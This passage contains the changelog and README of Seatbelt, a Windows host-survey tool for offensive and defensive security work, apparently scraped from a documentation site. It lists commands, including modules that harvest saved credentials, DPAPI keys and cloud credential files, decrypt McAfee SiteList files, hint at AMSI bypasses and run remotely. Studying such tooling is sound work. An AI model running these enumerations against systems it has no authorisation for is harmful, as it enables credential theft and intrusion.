IEUrls\n * SlackDownloads, SlackPresence, SlackWorkspaces\n * CloudCredentials, FileZilla, OutlookDownloads, RDCManFiles\n * SuperPutty, LocalUsers, LocalGroups, PowerShellHistory\n * Credguard, InstalledProducts, AppLocker, AuditPolicyRegistry\n * DNSCache, PSSessionSettings, OSInfo, EnvironmentVariables, DpapiMasterKeys\n\n* Implemented remote event log support:\n * ExplicitLogonEvents, LogonEvents, PoweredOnEvents, PowerShellEvents, ProcessCreationEvents, SysmonEvents\n\n* Chrome* modules now converted to Chromium support:\n * Chrome, Edge, Brave, Opera\n\n* Added IBM Bluemix enumeration to CloudCredentials\n\n\n### Fixed\n\n* Better error handling in various modules\n* OS version number collection on Windows 10\n* McAfeeSiteList null pointer exception\n* Interpretation of uac/tokenfilter/filteradmintoken values\n* Nullable type issues\n* WindowsFirewall filtering\n\n\n## [1.1.0] - 2020-09-30\n\n### Added\n\n* Added the following commands:\n * Hotfixes - installed hotfixes (via WMI)\n * MicrosoftUpdates - all Microsoft updates (via COM)\n * HuntLolbas - hunt for living-off-the-land binaries (from @NotoriousRebel)\n * PowerShellHistory - searches PowerShell console history files for sensitive regex matches (adapted from @NotoriousRebel)\n * RDPSettings - Remote Desktop Server/Client Settings\n * SecPackageCreds - obtains credentials from security packages (InternalMonologue for the current user)\n * FileZilla - files user FileZilla configuration files/passwords\n * SuperPutty - files user SuperPutty configuration files\n * McAfeeSiteList - finds/decrypts McAfee SiteList.xml files\n * McAfeeConfigs- finds McAfee configuration files\n\n### Changed\n\n* Added CLR version enumeration to \"DotNet\" and \"PowerShell\" commands\n* Updated LSASettings to detect restricted admin mode\n* Added ZoneMapKey & Auth settings to \"InternetSettings\" (Francis Lacoste)\n* Added support for ByteArrays in \"WindowsVault\"\n* Redid assembly detection to (hopefully) prevent image load events\n* Added version/description fields to processes and services\n* Added ASR rules to \"WindowsDefender\" command\n\n### Fixed\n\n* Big fix for event log searching\n* Fix for sensitive command line scraping\n* Code cleanup/dead code removal\n* Allow empty companyname the Services command\n* Better exception handling\n* Various fixes/expansions for the \"WindowsVault\" command\n* Added disposing of output sinks\n* Other misc. bug fixes\n\n\n## [1.0.0] - 2020-05-26\n\n### Added\n\n* Added the following commands:\n * NTLMSettings, SCCM, WSUS, UserRightAssignments, IdleTime, FileInfo, NamedPipes, NetworkProfile\n * AMSIProviders, RPCMappedEndpoints, LocalUsers, CredGuard, LocalGPOs, OutlookDownloads\n * AppLocker (thanks @_RastaMouse! https://github.com/GhostPack/Seatbelt/pull/15)\n * InstalledProducts and Printers commands, with DACLs included for printers\n * SearchIndex - module to search the Windows Search Indexer\n * WMIEventFilter/WMIEventConsumer/WMIEventConsumer commands\n * ScheduledTasks command (via WMI for win8+)\n * AuditPolicies/AuditSettings - classic and advanced audit policy settings\n * EnvironmentPath - %ENV:PATH% folder enumeration, along with DACLs\n * ProcessCreation - from @djhohnstein's EventLogParser project. Expanded sensitive regexes.\n * CredEnum - use CredEnumerate() to enumerate the credentials from the user's credential set (thanks @djhohnstein and @peewpw)\n * SecurityPackages - uses EnumerateSecurityPackages() to enumerate available security packages\n * WindowsDefender - exclusions for paths/extensions/processes for Windows Defender\n * DotNet - detects .NET versions and whether AMSI is enabled/can by bypassed (similar to 'PowerShell')\n * ProcessOwners - simplified enumeration of non-session 0 processes/owners that can function remotely\n * dir\n * Allows recursively enumerating directories and searching for files based on a regex\n * Lists user folders by default\n * Usage: \"dir [path] [depth] [searchRegex] [ignoreErrors? true/false]\"\n * Default: \"dir C:\\users\\ 2 \\\\(Documents|Downloads|Desktop) false\"\n * Shows files in users' documents/downloads/desktop folders \n * reg\n * Allows recursively listing and searching for registry values on the current machine and remotely (if remote registry is enabled).\n * Added additional defensive process checks thanks to @swarleysez, @Ne0nd0g, and @leechristensen. See https://github.com/GhostPack/Seatbelt/pull/17 and https://github.com/GhostPack/Seatbelt/pull/19.\n * Added Xen virtual machine detections thanks to @rasta-mouse. See https://github.com/GhostPack/Seatbelt/pull/18\n* Added the following command aliases:\n * \"Remote\" for common commands to run remotely\n * \"Slack\" to run Slack-specific modules\n * \"Chrome\" to run Chrome-specific modules\n* Added in ability to give commands arguments (to be expanded in the future). Syntax: `Seatbelt.exe \"PoweredOnEvents 30\"`\n* Added remote support for WMI/registry enumeration modules that are marked with a +\n * Usage: computername=COMPUTER.DOMAIN.COM [username=DOMAIN\\USER password=PASSWORD]\n* Added the \"-q\" command-line flag to not print the logo\n* Added ability to output to a file with the the \"-o <file>\" parameter\n * Providing a file that ends in .json produces JSON-structured output!\n* Added in the architecture for different output sinks. Still need to convert a lot of cmdlets to the new format.\n* Added a module template.\n* Added CHANGELOG.md.\n\n\n### Changed\n\n* Externalized all commands into their own class/file\n* Cleaned up some of the registry querying code\n* Commands can now be case-insensitive\n* Seatbelt's help message is now dynamically created\n* Renamed RebootSchedule to PoweredOnEvents\n * Now enumerates events for system startup/shutdown, unexpected shutdown, and sleeping/awaking.\n* Modified the output of the Logon and ExplicitLogon event commands to be easier to read/analyze\n* LogonEvents, ExplicitLogonEvents, and PoweredOnEvents take an argument of how many days back to collect logs for. Example: Seatbelt.exe \"LogonEvents 50\"\n* Added Added timezone, locale information, MachineGuid, Build number and UBR (if present) to OSInfo command\n* Refactored registry enumeration code\n* Putty command now lists if agent forwarding is enabled\n* Renamed BasicOSInfo to OSInfo\n* Simplified IsLocalAdmin code\n* Added the member type to localgroupmembership output\n* Simplified the RDPSavedConnections code\n* Formatted the output of RDPSavedConnections to be prettier\n* Formatted the output of RecentFiles to be prettier\n* Modified logonevents default so that it only outputs the past day on servers\n* Re-wrote the PowerShell command. Added AMSI information and hints for bypassing.\n* Add NTLM/Kerberos informational alerts to the LogonEvents command\n* Changed the output format of DpapiMasterKeys\n* Re-wrote the Registry helper code\n* Refactored the helper code\n* Incorprated [@mark-s's](https://github.com/mark-s) code to speed up the interestingfiles command. See [#16](https://github.com/GhostPack/Seatbelt/pull/16)\n* Added SDDL to the \"fileinfo\" command\n* Added MRUs for all office applications to the RecentFiles command\n* RecentFiles now has a paramater that restricts how old the documents are. \"RecentFiles 20\" - Shows files accessed in the last 20 days.\n* Renamed RegistryValue command to \"reg\"\n* Search terms in the \"reg\" command now match keys, value names, and values.\n* Updated the \"reg\" commands arguments.\n * Usage: \"reg <HIVE[\\PATH\\TO\\KEY]> [depth] [searchTerm] [ignoreErrors]\"\n * Defaults: \"reg HKLM\\Software 1 default true\"\n* Added generic GetSecurityInfos command into SecurityUtil\n* Formatting tweak for DPAPIMasterkeys\n* WindowsVaults output filtering\n* Renamed RecentFiles to ExplorerMRUs, broke out functionality for ExplorerMRUs and OfficeMRUs\n* Broke IETriage command into IEUrls and IEFavorites\n* Changed FirefoxCommand to FirefoxHistory\n* Changed ChromePresence and FirefoxPresence to display last modified timestamps for the history/cred/etc. files\n* Split ChromeCommand into ChromeHistoryCommand and ChromeBookmarksCommand\n* Broke PuttyCommand into PuttyHostKeys and PuttySessions\n* Added SDDL field to InterestingFiles command\n* Modified IdleTime to display the current user and time in h:m:s:ms format\n* Moved Firewall enumeration to the registry (instead of the COM object). Thanks @Max_68!\n* Changed TokenGroups output formatting\n* Renamed localgroupmemberships to localgroups\n* Changed network firewall enumeration to display \"non-builtin\" rules instead of deny. Added basic filtering.\n* Added IsDotNet property to the FileInfo command\n* Renamed \"NonstandardProcesses\" and \"NonstandardServices\" to \"Processes\" and \"Services\", respectively\n* LocalGroups now enumerates all (by default non-empty) local groups and memberships, along with comments\n* Added a \"modules\" argument to the \"Processes\" command to display non-Microsoft loaded processes\n* Notify operator when LSA Protected Mode is enabled (RunAsPPL)\n* Updated the EnvironmentVariables command to distinguish between user/system/current process/volatile variables\n* Added a user filter to ExplicitLogonEvents. Usage: `ExplicitLogonEvents <days> <targetUserRegex>`\n* Added version check for Chrome (v80+)\n* Added analysis messages for the logonevents command\n* Rewrote and expanded README.md\n\n\n### Fixed\n\n* Some timestamp converting code in the ticket extraction section\n* Fixed Chrome bookmark command (threw an exception with folders)\n* Fixed reboot schedule (xpath query wasn't precise enough, leading to exceptions)\n* Fixed an exception that was being thrown in the CloudCredential command\n* NonstandardServices command\n * Fixed a bug that occurred during enumeration\n * Added ServiceDll and User fields\n * Partially fixed path parsing in NonstandardServices with some help from OJ (@TheColonial)! See https://github.com/GhostPack/Seatbelt/pull/14\n * Cleaned up the code\n* Fixed a bug in localgroupmembership\n* Check if it's a Server before running the AntiVirus check (the WMI class isn't on servers)\n* Fixed a bug in WindowsCredentialFiles so it wouldn't output null bytes\n* Fixed a null reference bug in the PowerShell command\n* Fixed the OS version comparisons in WindowsVault command\n* Fixed a DWORD parsing bug in the registry util class for big (i.e. negative int) values\n* ARPTable bug fix/error handling\n* Fixed PuttySession HKCU v. HKU bug\n* Fixed a terminating exception bug in the Processes command when obtaining file version info\n* More additional bug fixes than we can count >_<\n\n\n### Removed\n\n* Removed the UserFolder command (replaced by DirectoryList command)\n\n\n## [0.2.0] - 2018-08-20\n\n### Added\n* @djhohnstein's vault enumeration\n\n\n### Changed\n* @ClementNotin/@cnotin's various fixes\n\n\n## [0.1.0] - 2018-07-24\n\n* Initial release\n","description":"","tags":[],"title":"Changelog","uri":"/post exploitation/Seatbelt/CHANGELOG.html"},{"content":"Seatbelt\n----\n\nSeatbelt is a C# project that performs a number of security oriented host-survey \"safety checks\" relevant from both offensive and defensive security perspectives.\n\n[@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect.\n\n[@harmj0y](https://twitter.com/harmj0y) and [@tifkin_](https://twitter.com/tifkin_) are the primary authors of this implementation.\n\nSeatbelt is licensed under the BSD 3-Clause license.\n\n\n## Table of Contents\n\n- [Seatbelt](#seatbelt)\n * [Table of Contents](#table-of-contents)\n * [Command Line Usage](#command-line-usage)\n * [Command Groups](#command-groups)\n + [system](#system)\n + [user](#user)\n + [misc](#misc)\n + [Additional Command Groups](#additional-command-groups)\n * [Command Arguments](#command-arguments)\n * [Output](#output)\n * [Remote Enumeration](#remote-enumeration)\n * [Building Your Own Modules](#building-your-own-modules)\n * [Compile Instructions](#compile-instructions)\n * [Acknowledgments](#acknowledgments)\n\n\n## Command Line Usage\n\n```\n\n\n %&&@@@&& \n &&&&&&&%%%, #&&@@@@@@%%%%%%###############% \n &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%\n%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((\n#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((\n#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((\n#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((\n#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####\n###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####\n#####%###################### %%%.. @////(((&%%%%%%%################ \n &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* \n &%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%, \n #%%%%##, \n\n\nAvailable commands (+ means remote usage is supported):\n\n + AMSIProviders - Providers registered for AMSI\n + AntiVirus - Registered antivirus (via WMI)\n + AppLocker - AppLocker settings, if installed\n ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)\n AuditPolicies - Enumerates classic and advanced audit policy settings\n + AuditPolicyRegistry - Audit settings via the registry\n + AutoRuns - Auto run executables/scripts/programs\n + ChromiumBookmarks - Parses any found Chrome/Edge/Brave/Opera bookmark files\n + ChromiumHistory - Parses any found Chrome/Edge/Brave/Opera history files\n + ChromiumPresence - Checks if interesting Chrome/Edge/Brave/Opera files exist\n + CloudCredentials - AWS/Google/Azure/Bluemix cloud credential files\n + CloudSyncProviders - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.\n CredEnum - Enumerates the current user's saved credentials using CredEnumerate()\n + CredGuard - CredentialGuard configuration\n dir - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors]\n + DNSCache - DNS cache entries (via WMI)\n + DotNet - DotNet versions\n + DpapiMasterKeys - List DPAPI master keys\n EnvironmentPath - Current environment %PATH$ folders and SDDL information\n + EnvironmentVariables - Current environment variables\n + ExplicitLogonEvents - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.\n ExplorerMRUs - Explorer most recently used files (last 7 days, argument == last X days)\n + ExplorerRunCommands - Recent Explorer \"run\" commands\n FileInfo - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)\n + FileZilla - FileZilla configuration files\n + FirefoxHistory - Parses any found FireFox history files\n + FirefoxPresence - Checks if interesting Firefox files exist\n + Hotfixes - Installed hotfixes (via WMI)\n IdleTime - Returns the number of seconds since the current user's last input.\n + IEFavorites - Internet Explorer favorites\n IETabs - Open Internet Explorer tabs\n + IEUrls - Internet Explorer typed URLs (last 7 days, argument == last X days)\n + InstalledProducts - Installed products via the registry\n InterestingFiles - \"Interesting\" files matching various patterns in the user's folder. Note: takes non-trivial time.\n + InterestingProcesses - \"Interesting\" processes - defensive products and admin tools\n InternetSettings - Internet settings including proxy configs and zones configuration\n KeePass - Finds KeePass configuration files\n + LAPS - LAPS settings, if installed\n + LastShutdown - Returns the DateTime of the last system shutdown (via the registry).\n LocalGPOs - Local Group Policy settings applied to the machine/local users\n + LocalGroups - Non-empty local groups, \"-full\" displays all groups (argument == computername to enumerate)\n + LocalUsers - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)\n + LogonEvents - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.\n + LogonSessions - Windows logon sessions\n LOLBAS - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.\n + LSASettings - LSA settings (including auth packages)\n + MappedDrives - Users' mapped drives (via WMI)\n McAfeeConfigs - Finds McAfee configuration files\n McAfeeSiteList - Decrypt any found McAfee SiteList.xml configuration files.\n MicrosoftUpdates - All Microsoft updates (via COM)\n NamedPipes - Named pipe names and any readable ACL information.\n + NetworkProfiles - Windows network profiles\n + NetworkShares - Network shares exposed by the machine (via WMI)\n + NTLMSettings - NTLM authentication settings\n OfficeMRUs - Office most recently used file list (last 7 days)\n OracleSQLDeveloper - Finds Oracle SQLDeveloper connections.xml files\n + OSInfo - Basic OS info (i.e. architecture, OS version, etc.)\n + OutlookDownloads - List files downloaded by Outlook\n + PoweredOnEvents - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.\n + PowerShell - PowerShell versions and security settings\n + PowerShellEvents - PowerShell script block logs (4104) with sensitive data.\n + PowerShellHistory - Searches PowerShell console history files for sensitive regex matches.\n Printers - Installed Printers (via WMI)\n + ProcessCreationEvents - Process creation logs (4688) with sensitive data.\n Processes - Running processes with file info company names that don't contain 'Microsoft', \"-full\" enumerates all processes\n + ProcessOwners - Running non-session 0 process list with owners. For remote use.\n + PSSessionSettings - Enumerates PS Session Settings from the registry\n + PuttyHostKeys - Saved Putty SSH host keys\n + PuttySessions - Saved Putty configuration (interesting fields) and SSH host keys\n RDCManFiles - Windows Remote Desktop Connection Manager settings files\n + RDPSavedConnections - Saved RDP connections stored in the registry\n + RDPSessions - Current incoming RDP sessions (argument == computername to enumerate)\n + RDPsettings - Remote Desktop Server/Client Settings\n RecycleBin - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!\n reg - Registry key values (HKLM\\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]\n RPCMappedEndpoints - Current RPC endpoints mapped\n + SCCM - System Center Configuration Manager (SCCM) settings, if applicable\n + ScheduledTasks - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', \"-full\" dumps all Scheduled tasks\n SearchIndex - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>\n SecPackageCreds - Obtains credentials from security packages\n SecurityPackages - Enumerates the security packages currently available using EnumerateSecurityPackagesA()\n Services - Services with file info company names that don't contain 'Microsoft', \"-full\" dumps all processes\n + SlackDownloads - Parses any found 'slack-downloads' files\n + SlackPresence - Checks if interesting Slack files exist\n + SlackWorkspaces - Parses any found 'slack-workspaces' files\n + SuperPutty - SuperPutty configuration files\n + Sysmon - Sysmon configuration from the registry\n + SysmonEvents - Sysmon process creation logs (1) with sensitive data.\n TcpConnections - Current TCP connections and their associated processes and services\n TokenGroups - The current token's local and domain groups\n TokenPrivileges - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)\n + UAC - UAC system policies via the registry\n UdpConnections - Current UDP connections and associated processes and services\n UserRightAssignments - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate\n + WindowsAutoLogon - Registry autologon information\n WindowsCredentialFiles - Windows credential DPAPI blobs\n + WindowsDefender - Windows Defender settings (including exclusion locations)\n + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry\n + WindowsFirewall - Non-standard firewall rules, \"-full\" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)\n WindowsVault - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).\n WMIEventConsumer - Lists WMI Event Consumers\n WMIEventFilter - Lists WMI Event Filters\n WMIFilterBinding - Lists WMI Filter to Consumer Bindings\n + WSUS - Windows Server Update Services (WSUS) settings, if applicable\n\n\nSeatbelt has the following command groups: All, User, System, Slack, Chromium, Remote, Misc\n\n You can invoke command groups with \"Seatbelt.exe <group>\"\n\n \"Seatbelt.exe -group=all\" runs all commands\n\n \"Seatbelt.exe -group=user\" runs the following commands:\n\n ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum, dir,\n DpapiMasterKeys, ExplorerMRUs, ExplorerRunCommands, FileZilla,\n FirefoxPresence, IdleTime, IEFavorites, IETabs,\n IEUrls, KeePass, MappedDrives, OfficeMRUs,\n OracleSQLDeveloper, PowerShellHistory, PuttyHostKeys, PuttySessions,\n RDCManFiles, RDPSavedConnections, SecPackageCreds, SlackDownloads,\n SlackPresence, SlackWorkspaces, SuperPutty, TokenGroups,\n WindowsCredentialFiles, WindowsVault\n\n \"Seatbelt.exe -group=system\" runs the following commands:\n\n AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies,\n AuditPolicyRegistry, AutoRuns, CredGuard, DNSCache,\n DotNet, EnvironmentPath, EnvironmentVariables, Hotfixes,\n InterestingProcesses, InternetSettings, LAPS, LastShutdown,\n LocalGPOs, LocalGroups, LocalUsers, LogonSessions,\n LSASettings, McAfeeConfigs, NamedPipes, NetworkProfiles,\n NetworkShares, NTLMSettings, OSInfo, PoweredOnEvents,\n PowerShell, Processes, PSSessionSettings, RDPSessions,\n RDPsettings, SCCM, Services, Sysmon,\n TcpConnections, TokenPrivileges, UAC, UdpConnections,\n UserRightAssignments, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding,\n WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding,\n WSUS\n\n \"Seatbelt.exe -group=slack\" runs the following commands:\n\n SlackDownloads, SlackPresence, SlackWorkspaces\n\n \"Seatbelt.exe -group=chromium\" runs the following commands:\n\n ChromiumBookmarks, ChromiumHistory, ChromiumPresence\n\n \"Seatbelt.exe -group=remote\" runs the following commands:\n\n AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials,\n DNSCache, DotNet, DpapiMasterKeys, EnvironmentVariables,\n ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes,\n InterestingProcesses, KeePass, LastShutdown, LocalGroups,\n LocalUsers, LogonEvents, LogonSessions, LSASettings,\n MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings,\n OSInfo, PoweredOnEvents, PowerShell, ProcessOwners,\n PSSessionSettings, PuttyHostKeys, PuttySessions, RDPSavedConnections,\n RDPSessions, RDPsettings, Sysmon, WindowsDefender,\n WindowsEventForwarding, WindowsFirewall\n\n \"Seatbelt.exe -group=misc\" runs the following commands:\n\n ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, FileInfo, FirefoxHistory,\n InstalledProducts, InterestingFiles, LogonEvents, LOLBAS,\n McAfeeSiteList, MicrosoftUpdates, OutlookDownloads, PowerShellEvents,\n Printers, ProcessCreationEvents, ProcessOwners, RecycleBin,\n reg, RPCMappedEndpoints, ScheduledTasks, SearchIndex,\n SecurityPackages, SysmonEvents\n\n\nExamples:\n 'Seatbelt.exe <Command> [Command2] ...' will run one or more specified checks only\n 'Seatbelt.exe <Command> -full' will return complete results for a command without any filtering.\n 'Seatbelt.exe \"<Command> [argument]\"' will pass an argument to a command that supports it (note the quotes).\n 'Seatbelt.exe -group=all' will run ALL enumeration checks, can be combined with \"-full\".\n 'Seatbelt.exe <Command> -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\\USER -password=PASSWORD]' will run an applicable check remotely\n 'Seatbelt.exe -group=remote -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\\USER -password=PASSWORD]' will run remote specific checks\n 'Seatbelt.exe -group=system -outputfile=\"C:\\Temp\\out.txt\"' will run system checks and output to a .txt file.\n 'Seatbelt.exe -group=user -q -outputfile=\"C:\\Temp\\out.json\"' will run in quiet mode with user checks and output to a .json file.\n```\n\n**Note:** searches that target users will run for the current user if not-elevated and for ALL users if elevated.\n\n**A more detailed wiki is coming...**\n\n\n## Command Groups\n\n**Note:** many commands do some type of filtering by default. Supplying the `-full` argument prevents filtering output. Also, the command group `all` will run all current checks.\n\nFor example, the following command will run ALL checks and returns ALL output:\n\n`Seatbelt.exe -group=all -full`\n\n### system\n\nRuns checks that mine interesting data about the system.\n\nExecuted with: `Seatbelt.exe -group=system`\n\n| Command | Description |\n| ----------- | ----------- |\n| AMSIProviders | Providers registered for AMSI |\n| AntiVirus | Registered antivirus (via WMI) |\n| AppLocker | AppLocker settings, if installed |\n| ARPTable | Lists the current ARP table and adapter information(equivalent to arp -a) |\n| AuditPolicies | Enumerates classic and advanced audit policy settings |\n| AuditPolicyRegistry | Audit settings via the registry |\n| AutoRuns | Auto run executables/scripts/programs |\n| CredGuard | CredentialGuard configuration |\n| DNSCache | DNS cache entries (via WMI) |\n| DotNet | DotNet versions |\n| EnvironmentPath | Current environment %PATH$ folders and SDDL information |\n| EnvironmentVariables | Current user environment variables |\n| Hotfixes | Installed hotfixes (via WMI) |\n| InterestingProcesses | \"Interesting\" processes - defensive products and admin tools |\n| InternetSettings | Internet settings including proxy configs |\n| LAPS | LAPS settings, if installed |\n| LastShutdown | Returns the DateTime of the last system shutdown (via the registry) |\n| LocalGPOs | Local Group Policy settings applied to the machine/local users |\n| LocalGroups | Non-empty local groups, \"full\" displays all groups (argument == computername to enumerate) |\n| LocalUsers | Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate) |\n| LogonSessions | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. |\n| LSASettings | LSA settings (including auth packages) |\n| McAfeeConfigs | Finds McAfee configuration files |\n| NamedPipes | Named pipe names and any readable ACL information |\n| NetworkProfiles | Windows network profiles |\n| NetworkShares | Network shares exposed by the machine (via WMI) |\n| NTLMSettings | NTLM authentication settings |\n| OSInfo | Basic OS info (i.e. architecture, OS version, etc.) |\n| PoweredOnEvents | Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days. |\n| PowerShell | PowerShell versions and security settings |\n| Processes | Running processes with file info company names that don't contain 'Microsoft', \"full\" enumerates all processes |\n| PSSessionSettings | Enumerates PS Session Settings from the registry |\n| RDPSessions | Current incoming RDP sessions (argument == computername to enumerate) |\n| RDPsettings | Remote Desktop Server/Client Settings |\n| SCCM | System Center Configuration Manager (SCCM) settings, if applicable |\n| Services | Services with file info company names that don't contain 'Microsoft', \"full\" dumps all processes |\n| Sysmon | Sysmon configuration from the registry |\n| TcpConnections | Current TCP connections and their associated processes and services |\n| TokenPrivileges | Currently enabled token privileges (e.g. SeDebugPrivilege/etc.) |\n| UAC | UAC system policies via the registry |\n| UdpConnections | Current UDP connections and associated processes and services |\n| UserRightAssignments | Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate |\n| WindowsAutoLogon | Registry autologon information |\n| WindowsDefender | Windows Defender settings (including exclusion locations) |\n| WindowsEventForwarding | Windows Event Forwarding (WEF) settings via the registry |\n| WindowsFirewall | Non-standard firewall rules, \"full\" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public) |\n| WMIEventConsumer | Lists WMI Event Consumers |\n| WMIEventFilter | Lists WMI Event Filters |\n| WMIFilterBinding | Lists WMI Filter to Consumer Bindings |\n| WSUS | Windows Server Update Services (WSUS) settings, if applicable |\n\n\n### user\n\nRuns checks that mine interesting data about the currently logged on user (if not elevated) or ALL users (if elevated).\n\nExecuted with: `Seatbelt.exe -group=user`\n\n| Command | Description |\n| ----------- | ----------- |\n| ChromePresence | Checks if interesting Google Chrome files exist |\n| CloudCredentials | AWS/Google/Azure cloud credential files |\n| CredEnum | Enumerates the current user's saved credentials using CredEnumerate() |\n| dir | Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == \\<directory\\> \\<depth\\> \\<regex\\> |\n| DpapiMasterKeys | List DPAPI master keys |\n| ExplorerMRUs | Explorer most recently used files (last 7 days, argument == last X days) |\n| ExplorerRunCommands | Recent Explorer \"run\" commands |\n| FileZilla | FileZilla configuration files |\n| FirefoxPresence | Checks if interesting Firefox files exist |\n| IdleTime | Returns the number of seconds since the current user's last input. |\n| IEFavorites | Internet Explorer favorites |\n| IETabs | Open Internet Explorer tabs |\n| IEUrls| Internet Explorer typed URLs (last 7 days, argument == last X days) |\n| MappedDrives | Users' mapped drives (via WMI) |\n| OfficeMRUs | Office most recently used file list (last 7 days) |\n| PowerShellHistory | Iterates through every local user and attempts to read their PowerShell console history if successful will print it |\n| PuttyHostKeys | Saved Putty SSH host keys |\n| PuttySessions | Saved Putty configuration (interesting fields) and SSH host keys |\n| RDCManFiles | Windows Remote Desktop Connection Manager settings files |\n| RDPSavedConnections | Saved RDP connections stored in the registry |\n| SecPackageCreds | Obtains credentials from security packages |\n| SlackDownloads | Parses any found 'slack-downloads' files |\n| SlackPresence | Checks if interesting Slack files exist |\n| SlackWorkspaces | Parses any found 'slack-workspaces' files |\n| SuperPutty | SuperPutty configuration files |\n| TokenGroups | The current token's local and domain groups |\n| WindowsCredentialFiles | Windows credential DPAPI blobs |\n| WindowsVault | Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge). |\n\n\n### misc\n\nRuns all miscellaneous checks.\n\nExecuted with: `Seatbelt.exe -group=misc`\n\n| Command | Description |\n| ----------- | ----------- |\n| ChromeBookmarks | Parses any found Chrome bookmark files |\n| ChromeHistory | Parses any found Chrome history files |\n| ExplicitLogonEvents | Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days. |\n| FileInfo | Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s) |\n| FirefoxHistory | Parses any found FireFox history files |\n| HuntLolbas | Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time. |\n| InstalledProducts | Installed products via the registry |\n| InterestingFiles | \"Interesting\" files matching various patterns in the user's folder. Note: takes non-trivial time. |\n| LogonEvents | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. |\n| McAfeeSiteList | Decrypt any found McAfee SiteList.xml configuration files. |\n| MicrosoftUpdates | All Microsoft updates (via COM) |\n| OutlookDownloads | List files downloaded by Outlook |\n| PowerShellEvents | PowerShell script block logs (4104) with sensitive data. |\n| Printers | Installed Printers (via WMI) |\n| ProcessCreationEvents | Process creation logs (4688) with sensitive data. |\n| ProcessOwners | Running non-session 0 process list with owners. For remote use. |\n| RecycleBin | Items in the Recycle Bin deleted in the last 30 days - only works from a user context! |\n| reg | Registry key values (HKLM\\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors] |\n| RPCMappedEndpoints | Current RPC endpoints mapped |\n| ScheduledTasks | Scheduled tasks (via WMI) that aren't authored by 'Microsoft', \"full\" dumps all Scheduled tasks |\n| SearchIndex | Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == \\<search path\\> \\<pattern1,pattern2,...\\> |\n| SecurityPackages | Enumerates the security packages currently available using EnumerateSecurityPackagesA() |\n| SysmonEvents | Sysmon process creation logs (1) with sensitive data. |\n\n\n### Additional Command Groups\n\nExecuted with: `Seatbelt.exe -group=GROUPNAME`\n\n| Alias | Description |\n| ----------- | ----------- |\n| Slack | Runs modules that start with \"Slack*\" |\n| Chrome | Runs modules that start with \"Chrome*\" |\n| Remote | Runs the following modules (for use against a remote system): AMSIProviders, AntiVirus, DotNet, ExplorerRunCommands, Hotfixes, InterestingProcesses, LastShutdown, LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, PowerShell, ProcessOwners, PuttyHostKeys, PuttySessions, RDPSavedConnections, RDPSessions, RDPsettings, Sysmon, WindowsDefender, WindowsEventForwarding, WindowsFirewall |\n\n\n## Command Arguments\n\nCommand that accept arguments have it noted in their description. To pass an argument to a command, enclose the command an arguments in double quotes.\n\nFor example, the following command returns 4624 logon events for the last 30 days:\n\n`Seatbelt.exe \"LogonEvents 